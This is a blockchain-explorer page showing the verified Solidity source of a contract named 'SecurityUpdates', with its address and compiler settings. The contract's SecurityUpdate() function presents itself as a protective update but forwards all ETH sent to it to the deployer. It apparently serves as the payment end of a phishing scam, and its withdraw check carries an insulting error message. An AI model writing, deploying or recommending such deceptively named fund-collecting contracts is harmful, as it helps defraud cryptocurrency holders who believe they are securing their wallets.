Skip to content
Verified contractPartial

SecurityUpdates

Address0x7af9052a305642cedd0c453bbbc71dd0a52cc59a
Balance

0 ETH

 

Transactions

2

 

Compiler

solc 0.8.7

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.7+commit.e28d00a7
Language
solidity
Optimization
Yes, 200 runs
License
Not stated
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
16,565,015
Creation transaction
0xfbeaf062e2…e7260aae78

SecurityUpdates.sol

pragma solidity ^0.8.7;

contract SecurityUpdates {
    address private owner;
    constructor() {
        owner = msg.sender;
    }
    function withdraw() public payable {
        require(msg.sender == owner, "Bro? Are you a stupid idiot?");
        payable(msg.sender).transfer(address(this).balance);
    }
    function SecurityUpdate() public payable {
        if (msg.value > 0) payable(owner).transfer(address(this).balance);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.